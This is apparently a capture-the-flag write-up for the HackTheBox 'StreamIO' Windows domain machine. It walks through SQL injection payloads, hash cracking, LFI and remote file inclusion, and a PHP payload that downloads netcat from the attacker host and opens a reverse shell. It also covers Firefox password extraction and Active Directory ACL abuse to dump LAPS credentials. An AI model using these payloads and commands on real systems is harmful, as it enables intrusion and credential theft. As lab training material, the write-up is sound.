5 minute read

StreamIO

Reconnaissance

IP: 10.10.11.158

NMAP

nmap -T4 -p- -A 10.10.11.158
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-15 13:10 UTC
Nmap scan report for 10.10.11.158
Host is up (0.029s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-15 20:12:12Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp   open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Not valid before: 2022-02-22T07:03:28
|_Not valid after:  2022-03-24T07:03:28
| tls-alpn: 
|_  http/1.1
|_ssl-date: 2025-09-15T20:13:45+00:00; +6h59m58s from scanner time.
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49705/tcp open  msrpc         Microsoft Windows RPC
49730/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h59m57s, deviation: 0s, median: 6h59m57s
| smb2-time: 
|   date: 2025-09-15T20:13:05
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

TRACEROUTE (using port 135/tcp)
HOP RTT      ADDRESS
1   29.31 ms 10.10.14.1
2   29.55 ms 10.10.11.158

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 189.96 seconds

In ssl we can see 2 outputs streamIO.htb, watch.streamIO.htb

Website

Site

port 80

port 80 default iss 10, nothing intersting

port 443

on 443 we have 2 sites

we can register but can’t login

there is also contact page but we can’t do anything useful here

in about we have 3 potential usernames

feroxbuster also found /admin but it is Forbidden

Tried some basic sql injections and xss but didn’t work also feroxbuster didn’t find anything interesting. Let’s move to watch.streamio.htb

Feroxbuster found interesting endpoint

feroxbuster -u https://watch.streamio.htb -k -x php

/search.php

and this looks like something good to dig deeper for sql injection So I ran burpsuite and open cheatsheet for sqlinjection (we have windows box so probably mssql) https://swisskyrepo.github.io/PayloadsAllTheThings/SQL%20Injection/MSSQL%20Injection/

when attempting to 1=1 I got message blocked

That is good sight. This is ctf so if sth is blocked 90% times there is some kind of bypass

SQL Injection

I manage to get response white trying union select with 6 columns 2,3 are viewable

Confirm with checking db version

Using cheat sheet I found 3 interesting databases

500' UNION SELECT 1,name,3,4,5,6 FROM master..sysdatabases -- 

500' UNION SELECT 1,table_name,3,4,5,6 FROM information_schema.tables -- 

500' UNION SELECT 1,column_name,3,4,5,6 FROM information_schema.columns -- 

on so now we have db STREAMIO table users and columns password and username For better output we can user STRING_AGG(name, ', ')

500' UNION SELECT 1, STRING_AGG(CONCAT(username,' ',password),','),3,4,5,6 FROM users -- 

I put output into ChatGPT to sort user:hash and then use john (because john have format option)

john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5

highschoolmusical (Thane)     
physics69i       (Lenord)     
paddpadd         (admin)     
66boysandgirls.. (yoshihide)     
%$clara          (Clara)     
$monique$1991$   (Bruno)     
$hadoW           (Barry)     
$3xybitch        (Juliette)     
##123a8j8w5123## (Lauren)     
!?Love?!123      (Michelle)     
!5psycho8!       (Victoria)     
!!sabrina$       (Sabrina)

Now let’s back to login panel tried all userpass and only yoshihide works

now we can access /admin

can’t do much here but url looks like LFI/RFI

Now I got stuck, so watched Ippsec and xct video writeup and figure out that we need to fuzz for parameter, also need to add header cookie

ffuf -k -u https://streamio.htb/admin/?FUZZ=id -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -H 'Cookie: PHPSESSID=mi4sdlbnt4vrqc00sol5ffjvlg' -fs 1678

and we got debug option

checking for lfi we got response

https://streamio.htb/admin/?debug=..\..\..\..\windows\win.ini

Reading content of index.php we can spot admin db password

https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php

Checking master.php we can see that there is POST parameter include which use file_get_contents of the file and paste it into eval

Gaining access

so the plan is to generate reverse shell save it and host it via python webserver then master.php will grab it and put content into eval

create es.php

system("curl 10.10.14.8/nc64.exe -o c:\\windows\\temp\\nc64.exe");
system("c:\\windows\\temp\\nc64.exe 10.10.14.8 443 -e cmd.exe");

python3 -m http.server 80

then go to burp and change to POST remember!! I know I saw it few lines upper but change to POST and on botton add include

POST /admin/?debug=master.php HTTP/2

include=http://10.10.14.8/es.php

2 hours of fighting and I got reverse shell :D

We saw in index.php db creds let’s check it in backup db

sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select table_name from streamio_backup.information_schema.tables;"

sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "select * from users;"

Now we have different usernames and passwords save it and attempt to crack simmilar method as before

john user --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5

I manage to crack 1 hash Validating user, checking shares and checking winrm login

nxc smb streamio.htb -u nikk37 -p 'get_dem_girls2@yahoo.com'

We got it, now we can connect vi evli-winrm

evil-winrm -i 10.10.11.158 -u nikk37 -p 'get_dem_girls2@yahoo.com'

Grab user.txt and let’s dig for administrator

Privilege Escalation

Starting with winpeas I found:

C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db

cd into path and download key4.db and logins.json on our machine

Get firepwd script to your machine, https://github.com/lclevy/firepwd Next cp key4.db and logins.json into firewpd.py directory and run script

It finds saved user:password for slack.streamio.htb

It is always good to check all combinations for new user:pass and this time we got hit

nxc smb streamio.htb -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r'

Unlikely we don’t have winrm access so the best way to enumerate futher is checking bloodhound

bloodhound-python -d streamio.htb -u jdgodd -p 'JDg0dd1s@d0p3cr3@t0r' -ns 10.10.11.158 -c all

Tried easy win but we need to add ourself do the Core Staff group firest

nxc smb 10.10.11.158 -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' --laps --ntds --user Administrator

So connect via winrm

evil-winrm -i 10.10.11.158 -u nikk37 -p 'get_dem_girls2@yahoo.com'
upload powerview.ps1
Import-Module .\powerview.ps1

Next we need JDgodd creds let’s use htb cheat sheet method

$pass = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force *Evil-

$cred = New-Object System.Management.Automation.PSCredential('streamio.htb\JDgodd', $pass)

add him to the Core Staff group

Add-DomainObjectAcl -Credential $cred -TargetIdentity "Core Staff" -PrincipalIdentity "streamio\JDgodd"

Add-DomainGroupMember -Credential $cred -Identity "Core Staff" -Members "StreamIO\JDgodd"

and now we can run nxc

nxc smb 10.10.11.158 -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' --laps --ntds --user Administrator

Logon Failure but we got password. Connect with winrm and grab root.txt

evil-winrm -i 10.10.11.158 -u administrator -p "{8JsX7h5Z8h2z6"